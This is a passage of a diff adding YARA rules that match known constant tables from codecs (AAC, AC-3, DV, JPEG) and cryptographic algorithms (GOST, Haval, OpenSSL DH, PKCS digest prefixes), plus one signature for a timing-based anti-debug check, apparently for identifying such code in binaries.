eb000bf9da0004045e000bfd05000c02fa000c08ea800c0adec00402d3800be4b8000c0520800c1087400bfb4900040b4c0003fe6c00040546000be030000c0a97800bf6800004063580040d17000bfbad000c0a58c00401a40003df40000bf8ab0003fa600003fec0000c0292000bffcb000c03970003f8530003ed7c000bfb32000bfce60003f59e000bf7ac000bd800000bf804000c046c8003fd0e000bf45e000bc2800003f0ec000bfefd000bf64e0004047e8003f9f1000bfb20000c091d000c04c00004025e8003f784000bf8c5000c00c50003ebb00003f71e000bfbd3000be768000c0909c004027b0003fc79000c00c68003f5f000040158000be3900003f6940003f042000bf6c200040657000bfa82000bfa110003ea90000be98c000be7b00003f8bb000bf674000bf5e2000bf8010003efcc0003ff28000bf9a10003f8a1000bd9800003fa200003fb0d000402ea0003fb17000c0645000bfbe9000c019b000403a1800408fc400c00af8003eae40003ff4400040353000c00b1800c0112000bf849000402a2000bfa0a0003e208000bf1640003fb1e000bf8260003fdcc0003e8d8000beb10000c005b8003eed8000401ba0003fea50003e620000bf9b40003fdae0003f56e000bdaa00003dee0000bfd6b0003e0380003f842000bf7aa0003f939000c0655000bf17000040920c00bf180000bffad000c0d2e800be5b8000407ae000c00440003e348000bfe910004029c8003f7a8000c013b800bf1d6000bff920004071f8004083b400bfe6b000bef6c00040227000be5380003f0fc000bf2020003ecc00004067880040006800bff6d0003fa820003c7000013f1bc0003fbef000bc8c0000bf2b4000bdf60000bf3a200040301800bea98000bfa430003fc620004016f000c00f48003f7b0000bf04c0003ec7c000bd8100003eb34000400f900040e9640040a748003e5080003fac70003f674000c01e0800bf102000bff2f00040660800c03440004005e8003ea680003f346000beea80003c200000bf847000bf542000bfe80000bfd4a000bf8a40003d5c00003f858000bfb880003bc00000bf440000bfdac000bf67e000bf246000bf5860003f110000be8b80003f55a0003d300000c00ec8003dc20000be630000bfb8d000bfb17000bf504000be0880003f824000bd9b0000bdbd0000bf9480003f4fe000bf020000bf991000bfb1a000bf2b20003e9f0000bdf80000bfa750003f3da0003d1e0000bfbc5000bfe55000bef340003f6f2000bf9bd000c0260000bebb40003f1ee000bfb57000bfcfc000bfeac000bfe6a000bf64a000bfb61000bf416000bfac8000bf2fc0003f0c80003f668000bf6540003e6400003eb08000c00580003e698000c0050000bf6ea0003f3e20003f0dc000bd7e0000bef88000be9f4000bf3a6000c04af0003eda4000bf7fa000bfef4000bfae8000be9080003f907000bf6320003fa48000bfbec0003f7600003ea040003f1540003f6ca0004000580040463000bcb400003f15c0003f870000bf3520003f89b000bf7a80003f5620003fdbe0003fa5c0004004d8003fb78000bff800003f2000003d830000bf3880003fb0b0003b800000bf7100003fa620003fdb90003fc7f000becc00003fa7f000bf59a000bf2fe0003fb840003ffbd0003e450000bdfd00003f2240004005f0003ccc0000c00cd800bc800000bea4c0003ff3f00040307000c02ea000bfa2000040325800be9780003f1a4000bf48e000c02218003ea60000be8340003fe24000bf890000bf9df0003f55600040064800bfcb3000bf8eb0003ecb0000bf8d8000403428003e840000bfcd70003f2900003f5100003faaf0003f1b2000bf09e000bfcc9000bfd4f0003ffc10003f4e0000bfb95000bf12c0003f3480003d1400003ee580003f79e0003ee4c000bf004000bf9c0000bf48a0003f7e40003fb860003de50000bf8780003f7ea0003bf00001bf1e0000bdd00000bfde00003f3f40003e9140003f3a60003ef08000bfa35000bf9220003fe25000bf3a0000bf889000bf5a60003d220000402d10003f330000bf8d1000befec0003ed8c0003dd60000bf8ec000bf3cc000bf5280003fb00000bde500003f9f7000bf2da0003fa930003e7c00003e6f80003fadf000befc40003f9d5000bf39e000bf4780003e9b40003f712000bd9400003f89e000c00600003f218000bf2f2000be83c0003f1b6000bfaab0003f6ea0003f2000003f865000bf3ba0003fe680003e988000c00f78003fcea000bfd290003f6a60003fe34000bf1820003fa0e0003f9d10003f352000bfc02000c01b98003ecb80003f644000bf9c100040045000bffed0003f500000bddc00003fd5a0003efa80003f0b60003ec340003f4f40003ff4f000403f90003fc440003f0f80003ffe10003f3d80003ecbc0003dc700003f14e0003f9b90003fa010003f9750003f98b0003ec08000c038d800402c5800be380000bfc7f0003f14c0003f02e0003fe9e00040587800bf8290003e1200003fc1b0004006a000bebd8000bf9970003e82c0003ff510003ffcc0003f2d40003d2a0000400878003efb8000bf1c8000bf374000bf2ce0003ff0c0003f456000bd1a00003f8100003ed90000401fa8003fb67000bdca00003e338000be7e80003fe420003fc860003f8ff0003f53a0003f2200003fb59000bff430003de50000bf158000bf91c000403ac800bfe010003ec940003fef1000bfc420003fea2000be9780003cd40000be068000bfce50003e9780003f7c4000bf2480003ffe00003e470000 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_7__16_lil_386_
+{
+strings:
+	$a0 = { 0040153f2b3e413d573c6e3b853a9d39b538ce37e73603361f353d345b337b329b31bc30dd2f022f272e4f2d772ca32bcf2afe292d2961289527cd26052640257b24b623f1222f226d21b120f51f3e1f881ed61d241d781ccc1b261b811ae1194119a21803186b17d3164116af15231597140f148813071386120a128f1116119d102410ab0f350fbf0e4f0ee00d760d0c0da70c420ce30b840b2a0bd00a7c0a280ad40981093309e6089d0855081108cd078c074b070f07d3069a0662062c06f605c0058a0556052205f204c20496046a0440041704f103cb03a80385036403440324030403e702ca02ad02920277025e0246022f0218020302ee01db01c801b501a2018f017c016a0158014801380129011b010e010101f500e900de00d300c900bf00b500ac00a3009b0093008b0084007d00770071006b00650060005b00560051004c00470042003e003a00360032002e002b002800250022001f001c001a00180016001400120010000e000c000a0008000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_scale_factor_float__flt64___64_big_200_
+{
+strings:
+	$a0 = { 3f000000000000003ef00000000000003ee00000000000003ed00000000000003ec00000000000003eb00000000000003ea00000000000003e900000000000003e800000000000003e700000000000003e600000000000003e500000000000003e400000000000003e300000000000003e200000000000003e100000000000003e000000000000003df00000000000003de00000000000003dd00000000000003dc00000000000003db00000000000003da00000000000003d900000000000003d80000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Jpeg_dct_14_bit_aanscales__16_big_128_
+{
+strings:
+	$a0 = { 400058c5539f4b424000324922a311a858c57b2173fc686258c545bf300b187e539f73fc6d416254539f41b32d4117124b4268626254587e4b423b2128ba14c3400058c5539f4b424000324922a311a8324945bf41b33b21324927821b370de022a3300b2d4128ba22a31b3712bf098e11a8187e171214c311a80de0098e04df }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_AAC_Fraunhofer_escAssignment__16_lil_306_
+{
+strings:
+	$a0 = { 030003000300030003000300090000000000030003000300010001000100010001000100010000000000010001000100010001000100040004000400040004000400010001000100010001000000030003000300010001000100010001000100010001000100010001000100010001000100010001000000010001000100010001000100010001000100010001000100010001000100010001000100010001000000090000000000090000000000030003000300010001000100030003000300010001000000010001000100010001000100010001000100010001000100040004000400010001000100020002000200020002000200010001000000010001000100010001000100010001000100010001000100040004000400010001000100010001000000010001000000040004000400 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_eac3_gaq_remap_1__16_lil_24_
+{
+strings:
+	$a0 = { 491289082104080202018100400020001000080002000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book9__32_big_2028_
+{
+strings:
+	$a0 = { 0000000000000001000000000000000100000003000000050000000200000006000000370000000300000008000000e70000000400000009000001de000000050000000a000003ce000000060000000a000003d9000000070000000b000007c8000000080000000b000007cd000000090000000c00000fc80000000a0000000c00000fdd0000000b0000000d00001fe40000000c0000000d00001fec0000000d00000003000000040000000e000000040000000c0000000f00000006000000350000001000000007000000720000001100000008000000ea0000001200000008000000ed0000001300000009000001e2000000140000000a000003d1000000150000000a000003d3000000160000000a000003e0000000170000000b000007d8000000180000000c00000fcf000000190000000c00000fd50000001a00000006000000360000001b00000006000000340000001c00000007000000710000001d00000008000000e80000001e00000008000000ec0000001f00000009000001e1000000200000000a000003cf000000210000000a000003dd000000220000000a000003db000000230000000b000007d0000000240000000c00000fc7000000250000000c00000fd4000000260000000c00000fe40000002700000008000000e60000002800000007000000700000002900000008000000e90000002a00000009000001dd0000002b00000009000001e30000002c0000000a000003d20000002d0000000a000003dc0000002e0000000b000007cc0000002f0000000b000007ca000000300000000b000007de000000310000000c00000fd8000000320000000c00000fea000000330000000d00001fdb0000003400000009000001df0000003500000008000000eb0000003600000009000001dc0000003700000009000001e6000000380000000a000003d5000000390000000a000003de0000003a0000000b000007cb0000003b0000000b000007dd0000003c0000000b000007dc0000003d0000000c00000fcd0000003e0000000c00000fe20000003f0000000c00000fe7000000400000000d00001fe1000000410000000a000003d00000004200000009000001e00000004300000009000001e4000000440000000a000003d6000000450000000b000007c5000000460000000b000007d1000000470000000b000007db000000480000000c00000fd2000000490000000b000007e00000004a0000000c00000fd90000004b0000000c00000feb0000004c0000000d00001fe30000004d0000000d00001fe90000004e0000000b000007c40000004f00000009000001e5000000500000000a000003d7000000510000000b000007c6000000520000000b000007cf000000530000000b000007da000000540000000c00000fcb000000550000000c00000fda000000560000000c00000fe3000000570000000c00000fe9000000580000000d00001fe6000000590000000d00001ff30000005a0000000d00001ff70000005b0000000b000007d30000005c0000000a000003d80000005d0000000a000003e10000005e0000000b000007d40000005f0000000b000007d9000000600000000c00000fd3000000610000000c00000fde000000620000000d00001fdd000000630000000d00001fd9000000640000000d00001fe2000000650000000d00001fea000000660000000d00001ff1000000670000000d00001ff6000000680000000b000007d2000000690000000a000003d40000006a0000000a000003da0000006b0000000b000007c70000006c0000000b000007d70000006d0000000b000007e20000006e0000000c00000fce0000006f0000000c00000fdb000000700000000d00001fd8000000710000000d00001fee000000720000000e00003ff0000000730000000d00001ff4000000740000000e00003ff2000000750000000b000007e1000000760000000a000003df000000770000000b000007c9000000780000000b000007d6000000790000000c00000fca0000007a0000000c00000fd00000007b0000000c00000fe50000007c0000000c00000fe60000007d0000000d00001feb0000007e0000000d00001fef0000007f0000000e00003ff3000000800000000e00003ff4000000810000000e00003ff5000000820000000c00000fe0000000830000000b000007ce000000840000000b000007d5000000850000000c00000fc6000000860000000c00000fd1000000870000000c00000fe1000000880000000d00001fe0000000890000000d00001fe80000008a0000000d00001ff00000008b0000000e00003ff10000008c0000000e00003ff80000008d0000000e00003ff60000008e0000000f00007ffc0000008f0000000c00000fe8000000900000000b000007df000000910000000c00000fc9000000920000000c00000fd7000000930000000c00000fdc000000940000000d00001fdc000000950000000d00001fdf000000960000000d00001fed000000970000000d00001ff5000000980000000e00003ff9000000990000000e00003ffb0000009a0000000f00007ffd0000009b0000000f00007ffe0000009c0000000d00001fe70000009d0000000c00000fcc0000009e0000000c00000fd60000009f0000000c00000fdf000000a00000000d00001fde000000a10000000d00001fda000000a20000000d00001fe5000000a30000000d00001ff2000000a40000000e00003ffa000000a50000000e00003ff7000000a60000000e00003ffc000000a70000000e00003ffd000000a80000000f00007fff }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Timestamp_counters__8_byt_44_
+{
+strings:
+	$a0 = { 64ff3500000000648925000000000f315031c0f7f00f312b04e483c404648f050000000083c4043d00000100 }
+
+condition:
+	$a0
+}
+
+	
+rule MacGuffin_sbits__32_lil_192_
+{
+strings:
+	$a0 = { 020000000500000006000000090000000b0000000d0000000100000004000000070000000a000000080000000e0000000300000006000000080000000d000000000000000f0000000c0000000e0000000100000002000000040000000a000000000000000a000000030000000e000000060000000c00000007000000080000000c0000000f0000000100000005000000090000000f000000050000000b00000002000000070000000b0000000d00000000000000040000000300000009000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_7__16_big_16_
+{
+strings:
+	$a0 = { cef0e4f9f6bb064614f523ff356f4a8d }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_8x8_32__8_byt_64_
+{
+strings:
+	$a0 = { 1109170f1008160e051d031b041c021a150d130b140c120a0018061e0119071f1008160e1109170f041c021a051d031b140c120a150d130b0119071f0018061e }
+
+condition:
+	$a0
+}
+
+	
+rule Macromedia_Flash_SWF_ADPCM_table__32_big_256_
+{
+strings:
+	$a0 = { FFFFFFFF000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFF0000000200000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000020000000400000006000000080000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000001000000020000000400000006000000080000000A0000000D00000010 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffbits1__8_byt_97_
+{
+strings:
+	$a0 = { 01040506070808090a0a0405060707080809090b05050607080809090a0b060607080809090a0b0c0707080809090a0b0b0d08080809090a0a0b0c0e080808090a0b0b0c0d0f0909090a0b0c0c0e0e000909090a0b0c0e1000000a0a0b0c0d0e10 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_bit_reverse_512__8_byt_128_
+{
+strings:
+	$a0 = { 0040206010503070084828681858387804442464145434740c4c2c6c1c5c3c7c02422262125232720a4a2a6a1a5a3a7a06462666165636760e4e2e6e1e5e3e7e0141216111513171094929691959397905452565155535750d4d2d6d1d5d3d7d03432363135333730b4b2b6b1b5b3b7b07472767175737770f4f2f6f1f5f3f7f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_quant__flt64___64_lil_128_
+{
+strings:
+	$a0 = { 00000000000000000000000000000000bb270f0bb5a6a93f52499d8026c2c63f50fc1873d712b23fb7d100de0209d23f46b6f3fdd478b93f82e2c798bb96dc3f63ee5a423ee8c13f3c4ed1915cfee13fb1e1e995b20cc93f2cd49ae61da7e63f3ee8d9acfa5cd13ff697dd938785ec3fea95b20c71acd73f000000000000f03f }
+
+condition:
+	$a0
+}
+
+	
+rule Gost_hash_sbox_1__32_lil_1024_
+{
+strings:
+	$a0 = { 0020070000500700004807000010070000680700004007000000070000700700003007000058070000080700006007000038070000780700002807000018070000a0050000d0050000c805000090050000e8050000c005000080050000f0050000b0050000d805000088050000e0050000b8050000f8050000a805000098050000200200005002000048020000100200006802000040020000000200007002000030020000580200000802000060020000380200007802000028020000180200002006000050060000480600001006000068060000400600000006000070060000300600005806000008060000600600003806000078060000280600001806000020030000500300004803000010030000680300004003000000030000700300003003000058030000080300006003000038030000780300002803000018030000a0060000d0060000c806000090060000e8060000c006000080060000f0060000b0060000d806000088060000e0060000b8060000f8060000a806000098060000a0070000d0070000c807000090070000e8070000c007000080070000f0070000b0070000d807000088070000e0070000b8070000f8070000a8070000980700002005000050050000480500001005000068050000400500000005000070050000300500005805000008050000600500003805000078050000280500001805000020010000500100004801000010010000680100004001000000010000700100003001000058010000080100006001000038010000780100002801000018010000a0010000d0010000c801000090010000e8010000c001000080010000f0010000b0010000d801000088010000e0010000b8010000f8010000a80100009801000020040000500400004804000010040000680400004004000000040000700400003004000058040000080400006004000038040000780400002804000018040000a0000000d0000000c800000090000000e8000000c000000080000000f0000000b0000000d800000088000000e0000000b8000000f8000000a80000009800000020000000500000004800000010000000680000004000000000000000700000003000000058000000080000006000000038000000780000002800000018000000a0030000d0030000c803000090030000e8030000c003000080030000f0030000b0030000d803000088030000e0030000b8030000f8030000a803000098030000a0020000d0020000c802000090020000e8020000c002000080020000f0020000b0020000d802000088020000e0020000b8020000f8020000a802000098020000a0040000d0040000c804000090040000e8040000c004000080040000f0040000b0040000d804000088040000e0040000b8040000f8040000a8040000980400 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_kp__32_big_16_
+{
+strings:
+	$a0 = { bb67ae853c6ef372a54ff53a510e527f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_iweight_248__32_big_256_
+{
+strings:
+	$a0 = { 0000800000004547000041460000469f00004925000053980000454700004afc00004aa40000555500004000000045470000492500005398000041460000469f00004f2600005a850000471500004cec0000492500004f260000514f00005cd40000454700004afc00004aa40000555500004f2600005a850000471500004cec0000539800005f8900004b54000051830000539800005a8500005601000062670000492500004f260000514f00005cd40000539800005f8900004b540000518300005f8900006d3a000058cd0000601800006573000073ca0000539800005a85000056010000626700005f8900006d3a000058cd0000601800006573000073ca }
+
+condition:
+	$a0
+}
+
+	
+rule OpenSSL_dh_p1024_c__8_byt_128_
+{
+strings:
+	$a0 = { 97f64261cab505dd2828e13f1d68b6d3dbd0f313047f40e856da58cb13b8a1bf2b783a4c6d59d5f92afc6cff3d693f78b23d4f3160a9502e3efaf7ab5e1ad5a65e554313828da83b9ff2d941dee95689fadaea0936addf1971fe635b20af470364603c2de059f54b650ad8fa0cf70121c74799d7587132be9b999bb9b787e8ab }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_CHAR2_131R2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 985bd3adbad4d696e676875615175a21b43a97e3 }
+
+condition:
+	$a0
+}
+
+	
+rule ReplayGainAnalysis_ABButter__flt64___64_lil_360_
+{
+strings:
+	$a0 = { 525a664f0c8fef3f8e636ff4448effbf525a664f0c8fffbf88a2ba54a71fef3f525a664f0c8fef3fd41012682285ef3f3a2bda843684ffbfd41012682285ffbfdeec93961c0cef3fd41012682285ef3f95ec60492857ef3fe03eeecd6a55ffbf95ec60492857ffbfee34a789cbb1ee3f95ec60492857ef3f14ce1a00cf35ef3ffb8ebc215033ffbf41ce1a00cf35ffbfb21af2bc9b70ee3f14ce1a00cf35ef3f98343b6b2b24ef3f7d1fcf323821ffbfc5343b6b2b24ffbfc0934e473d4eee3f98343b6b2b24ef3fa24a50cd8dddee3f93147d4767d8febfa24a50cd8dddfebf600147a668c5ed3fa24a50cd8dddee3ff7a85ca911b9ee3ffffb73ef8ab2febff7a85ca911b9febf36ac8ac6307fed3ff7a85ca911b9ee3ffc045d3e99acee3fa9173e9390a5febf29055d3e99acfebff7e4f7d24367ed3ffc045d3e99acee3f9dc169417145ee3f75fc10c07a39febf9dc169417145febf890d8585cfa2ec3f9dc169417145ee3f }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_latab__8_byt_256_
+{
+strings:
+	$a0 = { C0C1C2C3C4C5C6C7C8C9CACBCCCCCDCECFD0D1D1D2D3D4D4D5D6D7D7D8D9DADADBDCDCDDDDDEDFDFE0E0E1E2E2E3E3E4E4E5E5E6E6E7E7E8E8E9E9EAEAEBEBEBECECEDEDEDEEEEEEEFEFEFF0F0F0F1F1F1F2F2F2F3F3F3F3F4F4F4F4F5F5F5F5F6F6F6F6F6F7F7F7F7F7F8F8F8F8F8F8F9F9F9F9F9F9FAFAFAFAFAFAFAFAFBFBFBFBFBFBFBFBFCFCFCFCFCFCFCFCFCFCFCFDFDFDFDFDFDFDFDFDFDFDFDFDFDFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_1_hi_filter__flt64___64_lil_72_
+{
+strings:
+	$a0 = { adaa0fc87153943fbede05420310a63fa7de753c0e91aabf8f1e56cb4cc4d2bf755ef8479e0ae23f8f1e56cb4cc4d2bfa7de753c0e91aabfbede05420310a63fadaa0fc87153943f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossy_quant_d__flt32___32_lil_128_
+{
+strings:
+	$a0 = { 00000000cdcccc3f0000803fcdcc4c3f3d0a173f0000003f3d0ad73e7b14ae3e5c8f423eae47e13d8fc2753d295c0f3de3a59b3c5839343cf4fdd43b6f12833b0ad7233b3480b73a17b7513afaedeb3952499d3907423239acc5a738acc52738acc5a737acc52737acc5a7360000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain_sq__flt64___64_lil_64_
+{
+strings:
+	$a0 = { 893354ffff03d13f9073e9ff1f0eea3f66032d80d0f203402bb3db43cf8b1e40893354ffff03d13f9073e9ff1f0eea3f66032d80d0f203402bb3db43cf8b1e40 }
+
+condition:
+	$a0
+}
+
+	
+rule PKCS_DigestDecoration_SHA384__8_byt_19_
+{
+strings:
+	$a0 = { 3041300d060960864801650304020205000430 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_v1_ip0__8_byt_16_
+{
+strings:
+	$a0 = { 0c030a090e050d0b060802040f070100 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_9__16_big_386_
+{
+strings:
+	$a0 = { 40003f293e523d7b3ca43bce3af83a23394e387a37a636d33600352e345d338e32bf31f1312330582f8d2ec42dfc2d362c712bae2aeb2a2b296b28ae27f22738267e25c4250a2453239c22e92237218920db20311f871ee21e3d1d9c1cfb1c5f1bc31b281a8d19f7196118d1184117b6172b16a4161d159b1519149b141e13a3132812ad123211ba114310d0105e0ff10f840f1b0eb20e4e0dea0d8b0d2c0cd10c770c1d0bc40b700b1c0acc0a7c0a3009e5099c0953090e08ca08890849080b07cd078f0751071506da06a2066a063405ff05cb05990568053a050c04e104b6048d0465043d041503f003cb03a9038703670348032a030c02f002d402ba02a00287026e0255023c0224020c01f601e001cc01b801a5019301820171016101510143013501270119010c00ff00f300e700dc00d100c700bd00b400ab00a3009b0093008b0083007b0074006d0066005f00590053004d00480043003e003900340030002c002800240020001c0019001600130010000d000a00080006000400020000 }
+
+condition:
+	$a0
+}
+
+	
+rule Haval_mc3__32_lil_128_
+{
+strings:
+	$a0 = { 39d5309c1360f22a23b0d1c5f0856028187941caef38dbb8b0dc798e0e183a608b0e9e6c3e8a1eb0c17715d7274b31bdda2faf78605c6055f32555e694ab55aa629848574014e8636a39ca55b610ab2a345cccb4cee84111af8654a193e9727c1114eeb32abc6f635dc5a92bf6311874163e5cce1e93879b33bad6af5ccf246c }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG4_fir48_4_120__flt32___32_lil_484_
+{
+strings:
+	$a0 = { 000000801df4d4b9a5cf2bba50e412ba00000000ae6c873a3dba1d3b32637c3b27c0a33b0069b23b69f09e3bfd1d463b00000080541780bbb83305bc54cc42bc7bd86abc7c9e70bca2734bbc4c72f2bb0000000017a1113c74e5923c5914d13c5c07f63cf7a8f63c7787cc3c237e6f3c00000080f89e8bbc5c120bbddcbd43bdc91464bdcab962bd5aa43abd583ed9bc00000000b83efb3c97bb793deb9faf3dcdcccc3de110cc3dddada83d5a85453d00000080ccc268bd947aeabd83aa27be309247bee5eb4bbef3d62dbe0170d3bd0000000021840a3e6a72963e0769ed3ed574213f7ab4473f5bf1653f3953793f0000803f3953793f5bf1653f7ab4473fd574213f0769ed3e6a72963e21840a3e000000000170d3bdf3d62dbee5eb4bbe309247be83aa27be947aeabdccc268bd000000805a85453dddada83de110cc3dcdcccc3deb9faf3d97bb793db83efb3c00000000583ed9bc5aa43abdcab962bdc91464bddcbd43bd5c120bbdf89e8bbc00000080237e6f3c7787cc3cf7a8f63c5c07f63c5914d13c74e5923c17a1113c000000004c72f2bba2734bbc7c9e70bc7bd86abc54cc42bcb83305bc541780bb00000080fd1d463b69f09e3b0069b23b27c0a33b32637c3b3dba1d3bae6c873a0000000050e412baa5cf2bba1df4d4b900000080 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_411P__16_lil_3240_
+{
+strings:
+	$a0 = { 240c1027343300004818240d1028343400014819240e102934350002481a240f142938350003481b2410142838340004481c2411142738330005481d28111426383204054c1d28101425383104044c1c280f1424383004034c1b280e18243c3004024c1a280d18253c3104014c19280c18263c3204004c182c0c18273c33080050182c0d18283c34080150192c0e18293c350802501a2c0f1c2940350803501b2c101c2840340804501c2c111c2740330805501d30111c2640320c05541d30101c2540310c04541c300f1c2440300c03541b300e202444300c02541a300d202544310c015419300c202644320c005418340c2027443310005818340d202844341001581a340e202944351002581c2412102d34390006481e2413102e343a0007481f2414102f343b000848202415142f383b000948212416142e383a000a48222417142d3839000b48232817142c3838040b4c232816142b3837040a4c222815142a383604094c212814182a3c3604084c202813182b3c3704074c1f2812182c3c3804064c1e2c12182d3c390806501e2c13182e3c3a0807501f2c14182f3c3b080850202c151c2f403b080950212c161c2e403a080a50222c171c2d4039080b502330171c2c40380c0b542330161c2b40370c0a542230151c2a40360c0954213014202a44360c0854203013202b44370c07541f3012202c44380c06541e3412202d44391006581e3413202e443a100758203414202f443b1008582224181033343f000c4824241910343440000d4825241a10353441000e4826241b14353841000f4827241c1434384000104828241d1433383f00114829281d1432383e04114c29281c1431383d04104c28281b1430383c040f4c27281a18303c3c040e4c26281918313c3d040d4c25281818323c3e040c4c242c1818333c3f080c50242c1918343c40080d50252c1a18353c41080e50262c1b1c354041080f50272c1c1c344040081050282c1d1c33403f08115029301d1c32403e0c115429301c1c31403d0c105428301b1c30403c0c0f5427301a2030443c0c0e542630192031443d0c0d542530182032443e0c0c542434182033443f100c5824341920344440100d5826341a20354441100e5828241e103934450012482a241f103a34460013482b2420103b34470014482c2421143b38470015482d2422143a38460016482e2423143938450017482f28231438384404174c2f28221437384304164c2e28211436384204154c2d282018363c4204144c2c281f18373c4304134c2b281e18383c4404124c2a2c1e18393c450812502a2c1f183a3c460813502b2c20183b3c470814502c2c211c3b40470815502d2c221c3a40460816502e2c231c3940450817502f30231c3840440c17542f30221c3740430c16542e30211c3640420c15542d3020203644420c14542c301f203744430c13542b301e203844440c12542a341e203944451012582a341f203a44461013582c3420203b44471014582e2424103f34030018483024251040340400194831242610413405001a4832242714413805001b4833242814403804001c48342429143f3803001d48352829143e3802041d4c352828143d3801041c4c342827143c3800041b4c332826183c3c00041a4c322825183d3c0104194c312824183e3c0204184c302c24183f3c03081850302c2518403c04081950312c2618413c05081a50322c271c414005081b50332c281c404004081c50342c291c3f4003081d503530291c3e40020c1d543530281c3d40010c1c543430271c3c40000c1b54333026203c44000c1a54323025203d44010c1954313024203e44020c1854303424203f44031018583034252040440410195832342620414405101a5834242a10453409001e4836242b1046340a001f4837242c1047340b00204838242d1447380b00214839242e1446380a0022483a242f144538090023483b282f1444380804234c3b282e1443380704224c3a282d1442380604214c39282c18423c0604204c38282b18433c07041f4c37282a18443c08041e4c362c2a18453c09081e50362c2b18463c0a081f50372c2c18473c0b082050382c2d1c47400b082150392c2e1c46400a0822503a2c2f1c4540090823503b302f1c4440080c23543b302e1c4340070c22543a302d1c4240060c215439302c204244060c205438302b204344070c1f5437302a204444080c1e5436342a20454409101e5836342b2046440a101f5838342c2047440b1020583a24301003340f0024483c2431100434100025483d2432100534110026483e2433140538110027483f2434140438100028484024351403380f0029484128351402380e04294c4128341401380d04284c4028331400380c04274c3f283218003c0c04264c3e283118013c0d04254c3d283018023c0e04244c3c2c3018033c0f0824503c2c3118043c100825503d2c3218053c110826503e2c331c0540110827503f2c341c044010082850402c351c03400f0829504130351c02400e0c29544130341c01400d0c28544030331c00400c0c27543f30322000440c0c26543e30312001440d0c25543d30302002440e0c24543c34302003440f1024583c3431200444101025583e34322005441110265840243610093415002a48422437100a3416002b48432438100b3417002c48442439140b3817002d4845243a140a3816002e4846243b14093815002f4847283b14083814042f4c47283a14073813042e4c46283914063812042d4c45283818063c12042c4c44283718073c13042b4c43283618083c14042a4c422c3618093c15082a50422c37180a3c16082b50432c38180b3c17082c50442c391c0b4017082d50452c3a1c0a4016082e50462c3b1c094015082f5047303b1c0840140c2f5447303a1c0740130c2e544630391c0640120c2d54453038200644120c2c54443037200744130c2b54433036200844140c2a5442343620094415102a58423437200a4416102b58443438200b4417102c5846243c100f341b00304800243d1010341c00314801243e1011341d00324802243f1411381d0033480324401410381c003448042441140f381b003548052841140e381a04354c052840140d381904344c04283f140c381804334c03283e180c3c1804324c02283d180d3c1904314c01283c180e3c1a04304c002c3c180f3c1b083050002c3d18103c1c083150012c3e18113c1d083250022c3f1c11401d083350032c401c10401c083450042c411c0f401b0835500530411c0e401a0c35540530401c0d40190c345404303f1c0c40180c335403303e200c44180c325402303d200d44190c315401303c200e441a0c305400343c200f441b10305800343d2010441c10315802343e2011441d1032580424421015342100364806244310163422003748072444101734230038480824451417382300394809244614163822003a480a244714153821003b480b284714143820043b4c0b28461413381f043a4c0a28451412381e04394c09284418123c1e04384c08284318133c1f04374c07284218143c2004364c062c4218153c21083650062c4318163c22083750072c4418173c23083850082c451c174023083950092c461c164022083a500a2c471c154021083b500b30471c1440200c3b540b30461c13401f0c3a540a30451c12401e0c39540930442012441e0c38540830432013441f0c3754073042201444200c36540634422015442110365806344320164422103758083444201744231038580a2400101b3427003c480c2401101c3428003d480d2402101d3429003e480e2403141d3829003f480f2404141c3828004048102405141b3827004148112805141a382604414c1128041419382504404c10280314183824043f4c0f280218183c24043e4c0e280118193c25043d4c0d2800181a3c26043c4c0c2c00181b3c27083c500c2c01181c3c28083d500d2c02181d3c29083e500e2c031c1d4029083f500f2c041c1c4028084050102c051c1b40270841501130051c1a40260c41541130041c1940250c40541030031c1840240c3f540f3002201844240c3e540e3001201944250c3d540d3000201a44260c3c540c3400201b4427103c580c3401201c4428103d580e3402201d4429103e581024061021342d0042481224071022342e0043481324081023342f0044481424091423382f00454815240a1422382e00464816240b1421382d00474817280b1420382c04474c17280a141f382b04464c162809141e382a04454c152808181e3c2a04444c142807181f3c2b04434c13280618203c2c04424c122c0618213c2d084250122c0718223c2e084350132c0818233c2f084450142c091c23402f084550152c0a1c22402e084650162c0b1c21402d08475017300b1c20402c0c475417300a1c1f402b0c46541630091c1e402a0c4554153008201e442a0c4454143007201f442b0c43541330062020442c0c42541234062021442d1042581234072022442e1043581434082023442f10445816 }
+
+condition:
+	$a0
+}
+
+	
